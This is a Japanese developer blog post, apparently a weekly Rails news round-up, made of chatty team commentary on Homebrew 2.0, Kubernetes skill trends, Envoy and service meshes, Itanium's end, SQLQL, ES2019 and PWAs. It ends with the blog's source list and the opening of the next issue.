後で見つけたprojects.apache.orgの方に行くと、メインのapache.orgよりぐっと情報が充実しているようで、コミッター数や言語別などプロジェクトの変遷がよくわかるようになってました😋

⚓Kubernetes技術者がモテモテ?(Publickeyより)


つっつきボイス:「いかにも過渡期な感じ😆: Dockerがひととおり普及したから次はくばねてやってみたい会社が増えてきたとかそういう感じ?」「その成長著しいスキルリスト↓とやらだけど、Magentとか見たことないし🤔」「Spanishとかあるけど何それ🤣」「Chineseも🤣」「自然言語じゃん🤣」「じゃEnglishが1位なんじゃなくて🤣」「母集団怪しす🤣」「同じに並べていいのかと🤣」「Autocadとかも🤣


hiringlab.orgより

「選挙の出口調査ですか😆」「出口調査の方がまだ限られてるだけましなんじゃ😛: 出口で聞いたら一番多かったのがチャイナコミュニストパーティだったみたいな話🤣」「リストにCCNAとかあるし」「そんなのあったね、なつかし〜👨‍🦱」「昔就職に有利とか『ネットワークエンジニアは年収が高い』なんてもてはやされたりしましたけど、今や見る影もないという😇」「(やべ知らなかった😅)」「むしろCISCOのルーターやる人が減って需要が高まってたりして😎

参考: Cisco Certified Network Associate - Wikipedia

「KubernetesやらAnsibleやらがランク入りってことは、言語として儲かるのはYAMLってことかな、なんてね😎」「ちょ😆」「でもそういうことになるな〜😆」「宣言的に書いてればいいみたいな」「もうYAMLだけ書いて暮らそうかな🏘: もうRubyもなんもかもオワコンということで🙃」「AnsibleのYAMLは特殊感ありますけどね〜😆

「それにしてもどこで行われたサーベイなんだか😆: 西海岸ではなさげ」「Chineseとかあるし🇨🇳」「まあこれはgrowthだから、成長ほぼゼロのスキルとかは入ってないんだろうし📉」「データの出処がわかんないとね」「向こうもこういう情報を売る商売だし、そのつもりで眺める感じで☺

⚓Homebrew 2.0.0リリース(WebOps Weeklyより)

参考: macOS用パッケージマネージャ「Homebrew 2.0」リリース。LinuxとWSL(Windows Subsystem for Linux)にも正式対応 - Publickey


つっつきボイス:「そうそう2.0.0出てた」「今回正規版になったというLinuxbrewはLinux版のHomebrewですけど、使ったりしてます?」「ちょっと使ってます」「私もー」


linuxbrew.shより

「イマイチよくわかってないんですけど、Linuxなら普通にディストリビューションのパッケージとか使えばいいのにLinuxbrewを使う理由って?」「root権限なしで入れられると聞いたのでちょっと前からやってみた感じです」「でもパッケージによってはroot権限必要なものとかありそうだけど?」「/homeの下にlinuxbrewというユーザーができてそこにパッケージが入ってました: でもさすがにmacOS固有っぽいbrew servicesの必要なPostgreSQLやらMySQLやらは入れられませんでしたので😇、もっぱら小物パッケージのインストールに使ってますけど使い分けは全然適当です😅」「な〜る、カーネルモジュールみたいなのでなければユーザーランドの方に入るというかユーザー権限でできる感じ」

「そういえばsystemctlというかsystemdってユーザー権限でできましたっけ?」「Web立てるときは結局必要になるヤツだからLDLIBSあたりをどうにかすればいけそうだけど🤔

Linuxのサービス起動周りとDockerとの関連を理解する#3(社内勉強会)

「まあDockerが開発環境にまでこれだけ普及した今の世の中では、HomebrewのLinux進出もちょっと遅きに失した感がなくもないけど」「とはいっても、Railsは(ローカルではなく)ホスト環境で開発するなんてことも割と多いし(X Window越しとか)、そういうときにRubyをaptでインストールするとかrbenvでインストールするとか自分でビルドするとか選択肢があったりするけど、たとえばDebian備え付けのRubyが古かったりするときにHomebrewで入れる手もあるのかも🤔」「なるほど、パッケージ供給元が1つ増えた感じ😋」「そういうのだったらanyenv↓とかでやる方が話が早い気もするけど☺」「それもわかりみ😊

参考: anyenvを使う - Qiita

「ついでにお伺いしますけど、皆さんはproductionのRubyをどうやってインストールしてます?」「rbenv使ってたかな」「自分も」「rbenvは使ってないですね: 自分でRubyのrpmパッケージを作ってインストールしてます」「おーなるほど!: 管理する余力があれば確かにその方がキレイにできますね😋」「自分はrbenv、それもユーザーランドでrbenvを走らせることも: デプロイユーザーの中で完結させるみたいな☺

「世の中には開発環境を入れることが許されないプロジェクトがたまにあるんですけど、そういうところだとccすらインストールできなかったりするので、そういう場合にはたとえばrpmでインストールしたりするのは正しい手法っすね」「最終的には実行バイナリがあればいいし」

cc (UNIX) - Wikipedia

「だからインストールするソフトウェアをそうやってきっちり管理するならDockerの方がやりやすい」「なるほど!」「今風にやるなら、Dockerでインストール後にapt removeとかでccを根こそぎ片付けちゃえばいいし: バイナリさえなくなればライブラリは少々残っててもいいので、といってもさすがにld(リンカ)とかはなくせないけど」「ですね: 最後にリンクしないといけないものはありますし😊

参考: リンケージエディタ - Wikipedia

「本来的にはですが、余分なソフトウェアはできる限りシステムに入れないのが望ましい: でないと仮に侵入されたときの影響範囲が拡大してしまうので🧐」「案件によりますけどね☺

「HomebrewでRubyをインストールしている場合に不便なのは、Rubyが更新されてからHomebrewのFormulaに反映されるまでに割とタイムラグがあること」「そうそう!」「Rubyのセキュリティアップデートが出てHomebrewでアップデートしようとしてもhsbtさんのプルリクが今4時間もビルド中だったりとか😇」「あるある〜」「その意味ではanyenvみたいなので直接取ってきてビルドする方が早いのかな」「自分はこの記事↓にあるようにrbenvのruby-buildをgit pullで更新してやってますね: Rubyのアップデートはruby-buildの方がHomebrewのFormulaより早いので😋」「私もそれでやってます😀

RailsをHerokuで5.1.3から5.2.1にアップグレードしてheroku-18スタックに対応した

「そのあたりを考えると、Homebrewでどのパッケージをインストールするかが悩ましいところ🤔」「そうそう」「あとHomebrewのFormulaファイルの中に、たまにヤンキーなヤツがあったりして🦹🏻‍♀️うまく動かなかったりするし: ああいうのは更新激しいものなんかだとどこまでチェックされてるのかなと」「古いパッケージしかないなんてのもあったりしますし😅」「ヤンキーなパッケージのアグレッシブさ加減はnpmパッケージといい勝負だったり😆

「そういうのもあって自分はディストリのパッケージが割と好き🥰」「最近だとVSCodeなんかがオフィシャルパッケージをディストリで出してたりするし、そういうのは一度インストールしちゃえば安定するし☺」「そうなんですよね: あえてHomebrewでインストールしたいものってあるのかなって思ったり」「運用規約の厳しいところなんかで使うとかですかね🧐」「本当に厳しいところではHomebrew絶対使わないと思いますが😆」「Homebrewだと更新が速すぎて再現性がなくなったりしそうだし」

⚓ネットワーク越しのパイプとか


同記事より


つっつきボイス:「はてブにあがってたヤツですね」「こういうネットワーク越しにパイプでつなぐのって、ありそうでなかったんでしょうか?」「そんなことはないですね🧐: http越しにパイプをやってるとかそんなノリで」「難しいことはしてなさそうですね」「nc(netcat)とか使っても普通にできますし」「あー」「それをhttp経由でTLSも通せるようにした感じですね☺

参考: Netcat - Wikipedia
参考: nc(netcat)コマンドで覚えておきたい使い方8個 | 俺的備忘録 〜なんかいろいろ〜

「この記事、はてブでは妙に感心されてましたね」「まあシンプルだし実用性もあるからでしょうね: 自分がこれをそのままproductionに入れることはないと思うけど😆

「なんやかんやでパイプはつなぎやすくて応用範囲が広いので便利😋: 自分もDockerで標準入力から受け取ったものをSlackのWebフックに投げるだけのスクリプトとか書きましたし」

参考: パイプ (コンピュータ) - Wikipedia

「こういうネットワーク越しのパイプみたいなのは、見方を変えればネットワークプログラミングの練習のお題にとても向いてる😊」「おー確かに」「ちょっと頑張ればできるし、データが巨大な場合はどうするなんてのを真面目に考え始めるといい感じに難易度も上がってくるし: 途中でデータが途切れたら一旦chunkedで送るみたいな実装に挑戦してみたら面白そうだし」「いいですね!😊

⚓AWSアイコンがリニューアル(WebOps Weeklyより)


aws.amazon.comより


つっつきボイス:「AWSアイコンがまた変わったそうです」「ホントだ😮」「AWSアイコン、変わるたびにわかりにくくなっちゃったし😅」「タロットカードどころじゃないぐらい増えましたよね🃏

「え〜やっと脳に馴染んできたところなのに、また変わるの〜?🥺」「最近のELBアイコン(↓右)とか今も好きになれないし😭: 前(↓左)の方がよかったし」「おー、左は機能が形に表れてる」

「AWSは名前もCodeなんとかとか同じようなのがいっぱいあるし😤」「今はアイコンの下に『S3』とかサービス名を書いておかないとマジわからないし🤪: デザインから意味が脱落してんじゃね?って思うし」「Adobeみたいに↓開き直って文字にする方がまだマシかも😆」「AWSサービスの機能を2文字で表すのはもはや不可能だし😇」「どもならんのぉ〜😇

コンペと投票(却下含む)で決めればいいのにとちょっぴり思いました。

「来年はこれでハードなデスマッチかるたができますね🤣」「お手つき続出みたいな🤣」「昔のアイコンだったら割といける自信あるけど今のじゃちょっとぉ😵

「毎年恒例のAWS Summitでよくやってるクイズでやるとかね: ちなみにトップに勝ち進むとAWS reInventの参加券と宿のチケットなんかがもらえる」「へ〜」「相当難しくなりそうだけど、仕事だから覚えるだろうなきっと😂

⚓FreeBSDからItaniumアーキテクチャ終焉まで


つっつきボイス:「昔からよくお見かけするお方でした」「ふりびについにさよならを👋」「ネットワーク系やってる人はおしなべてFreeBSDがいいと言ってますね: だいたい教科書に載っているmbufの解説ってFreeBSDのソースが使われてたりするし、でLinuxだとsk_buff」「おーそういえば」「へー😀

参考: FreeBSD - Wikipedia
参考: mbuf ‐ 通信用語の基礎知識
参考: sk_buff - Linuxカーネルメモ

「このmbufでパケットの組み立てをやってるんですよ: ヘッダーを足してunionするみたいな🤓」「でFreeBSDはこの辺の設計がとてもキレイ🥰と言われていますし、OSの教科書の巻末についているのもFreeBSDのものだったりするしで、ネットワークをいじる人はだいたいFreeBSDですね: プロトコルをカスタマイズするとか」「なるほどね〜」

「ところでBSD系OSって使います?」「ネットワーク寄りの話…よくわかんなくて😅」「さくらのレンタルサーバーは共有サーバーがFreeBSDでしたね😋: Linuxのバイナリとか持っていってみると動かねえなんてことになったり😆」「😆

参考: 【さくらのレンタルサーバ】基本仕様 – さくらのサポート情報

「話ちょっと戻りますけど、FreeBSDも結構頑張ってるんですよ: (聞き取れず)とかbhyveなんかFreeBSDでやってるし」「へ〜」「ちなみにたしかbhyveのMac版に相当するのがxhiveという軽量ハイパーバイザーで、Docker for Macでxhive使えたりする🤓」「ハイパーバイザーって何とかhiveとか何とかhyveって名前多いっすね」「bhyveは解説も結構豊富にあるし」

参考: bhyve - Wikipedia
参考: OS XのネイティブHypervisorを使うxhyveと、ネイティブDockerを立ち上げるdocker-machine-driver-xhyveを作った話 - Qiita

しょもないですが、「愛してナイト」という昔の少女漫画に出てくるロックバンドの名前がビーハイブでした。

参考: 愛してナイト - Wikipedia

「やっぱりネットワークいじるとなるとBSD系が強い💪」「ですね〜😊」「そして何か新しいデバイスが出現すると真っ先にNetBSDが移植されるのが定番😆」「NetBSDは軽くて小さいせいか、ホントに何にでも移植されてますよね😋」「NetBSDが動かないCPUはないんじゃないかって言われるくらい😎」「そういえばMC68000みたいなCPU使ってるおっそろしく古いMacにNetBSDが移植されてたのを見たことあります」「MMUなしのCPUでも動くのって今やNetBSDぐらいじゃね?☺」「そうかも☺」「逆にLinuxはどこかのタイミングでMMUが必須になってたと思う」

参考: NetBSD - Wikipedia
参考: メモリ管理ユニット - Wikipedia

「昔のARMなんかもMMUなかったけど、今やCPUにMMU乗ってるのは当たり前になっちゃいましたね」「同じような感じで仮想化も今や当たり前になったし: 仮想化しないCPUなんてあるの?みたいな😎」「たしかに〜😆」「んで後15年もすれば『主記憶が揮発するってどういうことですか?』『主記憶と別にストレージがあるって意味わかんない』なんて若い世代に言われちったりとか😆

「ついでに、インテルCPUはいつになったら8ビット起動をやらなくなるんだろうとか思ったり😆」「お、そういやItaniumがディスコンになってましたね↓」「そうそう!」「マジか〜」「ついにIA-64\(^o^)/オワタ: AMD64と紛らわしい紛らわしいと言われまくってたIA64が😇

「インテルCPUなのにAMD64って表示されてるのはなぜ?って最近の人が不思議に思いそうだよね」「そうそう!」「そんなに紛らわしかったんですか😳」「Itaniumは、それまでのx86アーキテクチャを捨ててスクラッチから設計し直したIntel Architecture 64を採用して、そのまま進むかと思いきや、AMDの設計が拡張されたときにインテルは結局そっちの方に乗っかって、それが今のx86の(Intel) 64: ていうざっくりした理解で合ってる?」「合ってます🧐」「一息で説明すご!」「…」

参考: AMD64 ‐ 通信用語の基礎知識
参考: IA-64 ‐ 通信用語の基礎知識
参考: Intel 64 ‐ 通信用語の基礎知識

「この際人類の皆さんは、一部人類が願う『x86を直したいっっ!』ていう気持ちをもっと理解してやるべき🌏」「😆」「起動のたびに個体発生が系統発生を繰り返すみたいなのを未だにやってるとか😆」「リアルモードから切り替えたりとか、中間カーネルに展開してからモードチェンジしてさらに展開!とか😆」「x86のブートローダーは未だにサイズ大きくできないし😆」「やっぱオペランドが2つとかいろいろキツイわ〜」

「しかしItaniumのディスコン、これはもう歴史ですね🕋」「歴史歴史: 若い衆は知らないだろうけど👴」「自分も64ビットRISCに夢を見ていた世代だったな〜: (今は亡き)DECのAlpha CPUのマシンとか買いましたし」「そういうお年頃」「64ビットには夢があった🏰」「怒涛の会話に振り落とされそう😅

参考: RISC - Wikipedia
参考: DEC Alpha - Wikipedia

⚓その他クラウド

⚓SQL

⚓SQLQLとは

すくるくる?


つっつきボイス:「発表も記事も@yancyaさんです」「あー前の記事の続きみたいな: SQLQLって一種センスがいいというか、みんなの気持ちをワカッテラッシャル感というか、とにかくいいんですよね〜😍」「『顧客が本当に必要だったもの』的な😆」「あ〜そういう感じですか」

「GraphQLとかって、結局Railsで使うとN+1クエリが発生しまくるし、だったら直接SQL書いて投げればいいんじゃね?みたいな話: ところがSQLをそのまま投げるとモデル層で扱うような数値やロジックを扱えないので、そこをどうするかがポイント🤓

RailsでGraphQL APIをつくる: Part 1 – GraphQLとは何か(翻訳)

「随分前のRubyKaigiか何かでyancyaさんとこの辺の話をした気がするんだけど、たしかそのときにNGINXをPostgreSQLのプロキシにしてどうのこうのみたいな話してた覚えが」「あ〜ありましたね」「そういうのを使うと、HTTPで受け取ったものをそのままぽすぐれに流すなんてことができたりする」「そうそう、NGINXが型だけ変換して返す感じ」

一昨年のこのツィート↓がちょっと関連しているかなと思いました。

以下はそれとは直接関係ありませんが、yancyaさんの別の発表を見つけたので、もったいない精神で貼ります。

参考: 「SQL 脳から見た Ruby」発表の様子@大江戸Ruby会議05 - Togetter

「今アプリケーション層のロジックの話が出ましたけど、そういうのは例えばSQLQLで公開する「ビュー」をちゃんと書けばいいんですよね」「そうそうっ😊」「つまり生のテーブルにアクセスするんじゃなくて、アプリケーションロジックを通すか、ビューとして公開するならいいじゃん、と😋」「本気出したらそこにトリガ関数とか入れたりしてやれちゃうので、某O/Rマッパー好きでない派がいつの間にか大勝利みたいな🤣」「🤣」「そうなったらもうDBA(データベース管理者)復興ですよね😆」「ぐるっと回って元の場所に戻ってきた感😆

参考: 9.27. トリガ関数
参考: データベース管理者の役割 – データベース研究室

「自分は前から言ってますけど、Railsエンジニアはもっとデータベースを大事にすべき」「ほんに!」「データベース知らないまま書いたモデルとか、それめちゃ遅くなるけどいいの?みたいなことになるし」「うんうん」「テーブル定義見てても処理を見ててもそう思うことあるし😅: そんなふうに書くぐらいなら生SQL書けば?って」

「しかも今みたいにAWSとかのクラウドでやってると、トラフィックが増えるかデータが増えるかするまで痛みがあまり表面化しないし」「そういう意味ではRailsでやっとけば本当に痛みが出る前にサーバーが死んでしまうことも多いし🙃」「ちょ🤣」「Railsにしとくとそういう意味でよかったりして🤣」「ま〜最近になるほどCPUに求められるものが増えてるし」

「最近だとマイクロサービスもいろいろ出てきているし、1つ1つが小さくなってくるとそこまで頑張ることも正直あまりないし」「でもマイクロサービスになると逆にそういうところを気にしないといけない気もしますけどね: いったん詰まり始めるとそこが完全にボトルネックになってしまったりするので」「あ〜そうかも」

⚓Envoyはスゴイ

突如Envoyの話に火がつきました。

Envoy: {1-名-1} : 〔政府が特定の案件で派遣する〕特命使節、{1-名-2} : 〔大使館の〕特命全権公使◆大使(ambassador)のすぐ次の位。

「なのでそのあたりをどうするかですよね: で去年ぐらいからEnvoyがデフォルトになってきてて、KubernetesでもEnvoyをSidecarパターンで走らせたりなんてのが標準的になったりすることで、(聞き取れず)とかCircuit Breakerとかを一切気にしなくてよくなるという夢の世界が実現するのであれば、たぶんもうそれでいいんじゃないの、っていうあたりが今年の試金石なのかなと」

参考: KubernetesでEnvoyを使ったSidecarパターンを実装 - Carpe Diem
参考: マイクロサービスでのSidecarパターンとは何か - Carpe Diem
参考: Circuit Breaker Pattern 調べてみた - Qiita

「つことは、今マイクロサービス周りではEnvoyが一番イケてる?」「まずエンボイがわかってません😅: コンボイじゃなくて?🚚」「EnvoyとかIstioとかって、実は割と古くからあるんですよね」

参考: Envoy (Envoy proxy)、Istio とは? - Qiita


envoyproxy.ioより


istio.ioより

「Envoyといえば、最近だとAWSがApp Mesh出してますよね」「そうそう、実はApp MeshってECSをサポートしてるので筋が良い: Kubernetesだとその上にFargateだなんだと構築しないといけないけど、ECSの方がハードウェア性能的に使いやすいはずなんで、SidecarとしてEnvoy置けるなら別にECSでもいいでしょみたいな」「App Meshはあまりレイヤーっぽくないというか、独立したものをメッシュ化してつないでいる印象ありますね: Istioのアーキテクチャとかはよくわかってないんですが」「Istioは、KubernetesベースでEnvoyとかを使う前提で、いわゆるサービスメッシュをKubernetesの上に構築できる: でGoogleとIBMとLyftがやっているという構図」「お〜」「去年この辺を知って急いで調べたし😆」「昔調べたものってときどき再確認しないと忘れちゃいますよね😆」「そしてこうやってドヤ顔するみたいな😎

参考: AWS App Mesh – マイクロサービスをモニタリングおよび制御する – アマゾン ウェブ サービス
参考: AWS Fargate – サーバーやクラスターの管理が不要なコンテナの実行
参考: IBM、Google、Lyftによるオープンなマイクロサービス管理ツール「Istio」公開について

「こういうマイクロサービス間をどうにかできるサービスが出てきたことで、やっとマイクロサービスも見込みが出てきた感じですかね: さっきの話みたいなボトルネックが検出/トラッキングしやすくなるとか、エラーを共通で引っ張って来るみたいなことができないと、結局マイクロサービスって地獄感抜けないし👿」「Envoyがスゴイのは、どうやってこんな夢のようなものを実際に作ったんだろうってところ✨」「マジっすか!😍」「さっきのQiitaの記事あたりにリンクがあった気がするけど…これこれ↓、このあたりが一次資料かな」「おー、強い人が推してるだけに筋がよさそう😊」「実際に動かして検証したわけではないけど、設計とかびっくりするぐらい良くできてる👑」「やっぱアーキテクチャがきれいでないと後々治安が悪くなりますからね🧨」「Linuxカーネルで使われているパフォーマンス管理とかメモリ管理の手法を導入したりしてて、ゼロダウンタイムなんかもいけるとかで信頼性もかなり高い😎」「そんないいことづくめな話を聞くと、それホントに動くの?なんて思ったり」「普通そう思うよね😆: でもIstioは既にLyftが実装して動いていて、それがEnvoy前提になったのが去年の話」「やべぇ」「やべぇ」「すげぇ」

参考: What is Envoy — envoy 1.10.0-dev-97d259 documentation

「もしそういう世界になったら、大規模なサーバーサイドというものが減ってしまうわけですよ: するとオフショアとかでマイクロサービスを個別売りしていくなんてことになったりして🍬」「今度はそれを組み合わせるのに物凄い能力が求められたりして🧙🏼‍♂️」「そうそう😆: そんな感じでピタゴラスイッチマスターみたいなスキル持ってる求人が来年あたりさっきのサイトでgrowthどっかん伸びたりして😆」「自分も今のAWSでもかなりピタゴラスイッチマスター的なことやってますけど🧩」「AWSのCloudWatch LogsLambdaなんてのはもう完全にピタゴラスイッチなんで😉」「😆」「ほんに、Lambdaを練習しててSQS入れたりSNS入れたりしているうちに意味不明になったり😆」「なるなる😆

そういえばピタゴラスイッチ的なものは英語圏だと昔からRobe Goldberg Machineって呼ばれてますね。

参考: ルーブ・ゴールドバーグ・マシン - Wikipedia

「Envoyか〜」「今後はもしかしてEnvoy一択みたいな?」「じゃないかな〜: どうしてこれが可能なんだって思うくらい、できていることがあまりに凄いし」「へ〜」「Circuit Breakerもモニタリングも再起動も、必要なものは全部入ってるし」「そういえばGoogleのGCPのロードバランサーにある何とかStackってのがありますけど、競合するとしたらそのStackdriverあたりですかね?」「ふ〜む、どうだろう🤔?」「Stackdriverのウリは、ストリームをぶっ放せることとスケールできることと聞いてますけど」「Stackdriverはモニタリングとロギングにフォーカスしてる感じだけど、EnvoyはCircuit Breakerやらアプリケーション連携やらもひととおり代行してるし」「Envoyの方が広いのか」

参考: Stackdriver - ハイブリッド モニタリング  |  Stackdriver  |  Google Cloud

「Googleが前にSpannerを導入して分散同期がやりやすくなったけど、結果整合性を保つためには結局アプリケーションエンジニアがゴリゴリやらないといけなかったし: でやっぱりミドルウェアが必要だよねという流れでこのEnvoyが出てきて、そこで閉じた環境ならネットワークは面倒見てくれるからとか言ってるけどそれって昔に通った道じゃね?と思ってたら、あれよあれよという感じ」

参考: Cloud Spanner | 大規模な自動シャーディングとトランザクションの整合性  |  Cloud Spanner  |  Google Cloud

「ちなみにEnvoyを初めて知ったのは去年のビルコン(builderscon)↓で、そのときはベーパーウェアじゃね?としか思えなかったし😆」「すげ〜わかる😆: Kubernetesだってよく動いてるなって思ったし: もし最初に論文で出てきたら胡散臭すぎて却下されそうだし」「だいぶ話が逸れまくったので次行きましょうか👉

参考: 『builderscon tokyo 2018』に行ってきたよメモ - コード日進月歩
参考: ベーパーウェア - Wikipedia

この後もインフラエンジニアが足りない話など、まだまだ続きましたが、キリがないのでこの辺で🙇

⚓PostgreSQLでスター・ウォーズを見る方法(Ruby Weeklyより)

広告リンクだったのですが釣られてしまいました。


つっつきボイス:「psqlでスター・ウォーズだそうです」「ま、ぽすぐれは何でもできるから🤴」「Vimでやってる人もいたしそういえば」

⚓その他SQL


つっつきボイス:「データがうっかりで消えたらしいです」「やっぱりクラウドでも障害が起きるときは起きるというか: かのS3ですら一回だけあった気がするし」「落ちるときは落ちるし、メリットとデメリットを天秤にかけたときが重要だし」「ですね」

参考: Amazon S3ダウンの原因、コマンドの入力ミスで多数のサーバを削除。サブシステム再起動に時間がかかり障害が長引く。AWSの報告を読み解く - Publickey

⚓JavaScript

⚓EC2019の予定機能が確定(JSer.infoより)


つっつきボイス:「お、ついに決まったか🥰」「Rubyっぽいものも入ってるような?」「つか、普通の言語にあるものがようやく揃いつつある感」

「ところでJSはTypeScript派だったりします?まさかCoffeeScript書いてたりとか?」「バックエンドなのでほとんどJSを書いてないですね☺: ごくたまにJSに触ると、まさに『この機能ないのかよ!?』ってなったりとか😆」「やっぱり〜😆: でnpmでそれっぽいパッケージを見つけて入れると、何だかよくわかんないものまで大量に入ってきたりするという」「コワイコワイ😇

⚓ReactのRefsとは


つっつきボイス:「Refsが謎機能という声が聞こえたので貼ってみました」「Reactはだいぶ普及しましたね」「自分はどちらかというとVue.js派」「Angular.jsはあまり聞かなくなった気がする?」「Angularは移行で相当つらい目に遭ったから😭」「あー1から2へのね😆

参考: Angular v2からv6までの変化をまとめてみた - lacolaco

「Refsは確かにマニュアル見てもわかりづらい: コンポーネントのツリーを超えて更新とかするみたいな記憶がうっすらあるくらいで、しかもReact 13ぐらいの頃の知識で今16とかだし😆」「あ〜😆」「でバージョン上げたときにRefsあたりで悲鳴が上がった気がするんですよね」「ざっくりとですが、簡単なものならVueでいいけど、それなりの規模のSPAとかやろうとするとReactになることが多い感じですね」「フロントが気づくと大きくなってたりするんで、Vueでそれなりに大きなSPA的なのをやってる人っていないんじゃないかなって思ったりもするし、勉強会なんかでたとえばニュースサイトとかECサイトでSEOのために使ったりしてるけど、業務系のロジックをどう分離するかなんて話は出てきてなかったし」「そういうのはVueでやりたくないな〜😆: ある程度複雑になってくるとReact一強な感じ」「そうかもね」

「となると今VueとReactのどっちを勉強すべきか」「まあReactの方がいろいろ強固だし」「ただ受託開発とかでひよコード🐥が流れてきたときに、せめて自分たちのコードだけでもキレイにしておきたい!と思ってもReactだと基本無理だし😆」「そうね〜」「Vueはひよコードの中にちょろっと入れてもちゃんと動いてくれるんですよね😂: あれは偉大だと思う🐥

⚓ghcrawler: GitHubをクロールするNodeアプリ


つっつきボイス:「Microsoftが出してるということは公式なのかなと」「ちゃんと見てないけど、GitHubをガンガン回して負荷かけるぐらいならこういうの使ってくれ、みたいな?」「ちょろっといじりかけたんですが、GitHubの2段階認証でやる方法がまだわからなくて😅

⚓その他JavaScript


つっつきボイス:「TypeScriptからLLVMを通ってWebAssemblyみたいなのを頑張ってる人たちもいますね☺」「トランスパイルまで使ったらもう何でもありじゃね?って」「しかしJSがこんなにプログラミングに使われるようになるなんて昔じゃ考えられなかったし」「こうなったらRustまで突っ走って欲しい🏎

⚓CSS/HTML/フロントエンド/テスト

⚓Vue Storefront: PWAでネットショップを作れるOSS

devMe Tokyoの方に教えていただきました🙇

参考: Storefront Cloud | Mobile-first eCommerce Platform
参考: はじめてのプログレッシブ ウェブアプリ  |  Web  |  Google Developers
参考: PWA(Progressive Web Apps)はどうスゴイのか?基本知識と12のメリットを解説 |ビジネス+IT

WebサイトをPWA(Progressive Web App)に変える簡単な手順(翻訳)


つっつきボイス:「既存のWebページをPWA化で高速化するみたいなのをVue StoreFrontでやれるそうです」「へ〜」「まだこの分野を手がけてるところがほとんどないらしくて」「PWAは今頑張れば一発当たるかも🎯

⚓AndroidアプリがPWAに食われる?

「PWAといえば、ついこの間見た記事↓か何かによると、AndroidのマーケットでPWAがネットワーク配布できるようになったらしくて」「おぉ?」「で、Kotlinとかの界隈が結構ざわついてるらしいって🤡」「あー、ってことは…」「ほら、GoogleがJavaやめたいんじゃないかって話もあるし、WindowsアプリなんかもJavaScriptとHTMLだけで書けるようになってきてたりするし、世の中どうやらそういう方向に進みつつあるんじゃないかなって」「もしそうなったら何というゲームチェンジング😲

「たしかにJSエンジンも洗練されてきたしCPUも速くなってきたしで、もうJSでいいじゃんみたいなのがアプリで広がってきましたよね」「NginxとかにもJSのモジュール入ってるぐらいなので組み込みやすいし、シングルスレッドなのもむしろランタイム的にスマホアプリと相性がよさそうだし」「そのうちJS専用のコプロセッサとかできたりして😆」「MMUだとか仮想化なんかもJSでやるようになるかもしれないし🤓」「後はネイティブ周りのインターフェイスだけは整理しておくとして😆

「Android界隈がざわついているってそれって…」「もしかするとだけど、今後もうネイティブアプリ書かなくていいんじゃねみたいな流れになって、iOSもそれでいけるようになるとかね」「まあiOSはアップル様のご意向次第ですけど🍎

⚓Chrome vs Firefox新機能対決


つっつきボイス:「Firefoxは動画再生ブロック機能を付けたり広告ブロッカーをつけたりと、Googleとは逆方向にいろいろ快挙😆」「Googleは広告ブロッカーを外すんじゃないかって言われたりしてますね😆」「動画の流れる広告って許しがたい感😤

「そして恐竜ゲームのハイスコアが保存できると🦕」「これは画期的な機能ですよね(棒)」「画期的😆」「みんな待ってた機能😆」「これも『顧客が本当に欲しかったもの』」「世知辛い世の中の数少ないオアシス⛲

参考: 「Chrome」改良で広告ブロッカーなど無効化の懸念--グーグルが回答 - CNET Japan

⚓その他フロントエンド


同記事より


つっつきボイス:「gRPC使ってます?」「まだやってませんねー」「gRPCをどこまで積極的に使うかですけど、さっきのEnvoyとかでいいんじゃね?って」「EnvoyもgRPC使ってやってますけどね」「でもEnvoyならgRPCを意識しなくても使えるでしょうし😆」「まあね〜、gRPCだといろいろ自分でやらないといけなくなるし」「gRPC、ないと困るところまではいってないし😆



つっつきボイス:「これはBPSで漫画のビューワーを作っているチームが発見したバグで、普通あまり踏まないようなバグを追い込んでいる人たちです☺


⚓言語

⚓MISRA-Cとは

参考: MISRA C - Wikipedia


つっつきボイス:「MISRA Cって知らなかったんですが、そういう規格みたいなものがあるそうです」「これを満たすと品質の高いソフトウェアということになるみたいな?こんなのがあるとは😆」「Rubyみたいにフリーダムに書く文化だと難しそう」

⚓その他言語



つっつきボイス:「ああこれ😆: このissueはいろんな意味でヒドイ」「いろんな言語をいっぺんに巻き添えにしてるし😭

⚓その他

⚓ドイツテレコムのnuSIM

オールインワンで低コスト低消費電力で長寿命という触れ込みですが、IoTでどのぐらい画期的なのかよくわかりませんでした😅

⚓その他のその他


つっつきボイス:「job interviewだから面接の話ね」「面接でfizzbuzzやれって言われてそうそう解けないよっみたいな」「こういうのって結局一緒に仕事をしてみないとわからないし😆


つっつきボイス:「最近のmacOSってどうしてこんなことがみたいな脆弱性が目につくし」「やー、Windowsいいっすよ😆」「ちょ😆」「😆」「そういえば以前マカーだったお二人がいつの間にかWindowsノートになってるし!」「おー言われてみれば😆」「WindowsでVM+Linuxでやってるけど快調ヨ😎」「自分のWindowsは絶賛修理中😭(その後戻ってきたけどっ)」

⚓番外

つっつきボイス:「そういえばさっき秋葉でGPUボードが安くなってる説を小耳に挟んだんですが」「ああ、仮想通貨バブルがはじけたおかげで😆: 純粋に計算用のGPUで基盤にコネクタとかついてないようなヤツですが、普通にGeForce買うより安くなってる」「おぉ」(しばしボードの話)

参考: NVIDIA GeForce - Wikipedia

⚓北磁極に異変

参考: 北磁極の動きが加速、原因不明、あまりに急激 | ナショナルジオグラフィック日本版サイト

⚓ロシアの幻覚光兵器

兵器の配備もdeployなんですね。スタンガンならぬスタン光線というのも研究されているそうです。


つっつきボイス:「Hallucinateってなかなか読めないし😆」「医学英語ってかなりわからないです😭」「そろそろ空腹が限界」「ではさっそく親睦会を🍻」「お疲れさまでした〜」「お疲れさま〜」


今回は以上です。ご参加いただいた皆さま、遅くまでありがとうございました🙇

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190204)あってうれしい40のgem、Ruby 2.6.1セキュリティリリース、Hanami v2.0.0.alpha1リリースほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Hacklines

Hacklines

WebOps Weekly

webops_weekly_banner

Publickey

publickey_banner_captured

DB Weekly

db_weekly_banner

JSer.info

jser.info_logo_captured

週刊Railsウォッチ(20190218)Zeitwerkがやってきた、Railsバリデータの光と影、heavens_door、今月GitHubで盛り上がってるgemほか

$
0
0

こんにちは、hachi8833です。今回のつっつき開始直前にオフィスの蛍光灯が2つ立て続けに生涯を終えたので、morimorihogeさんとbabaさん(実は電気工事施工管理技士でもある)が楽しそうに交換作業してました。写真だとわかりにくいのですが、色味がもろ違ってます。


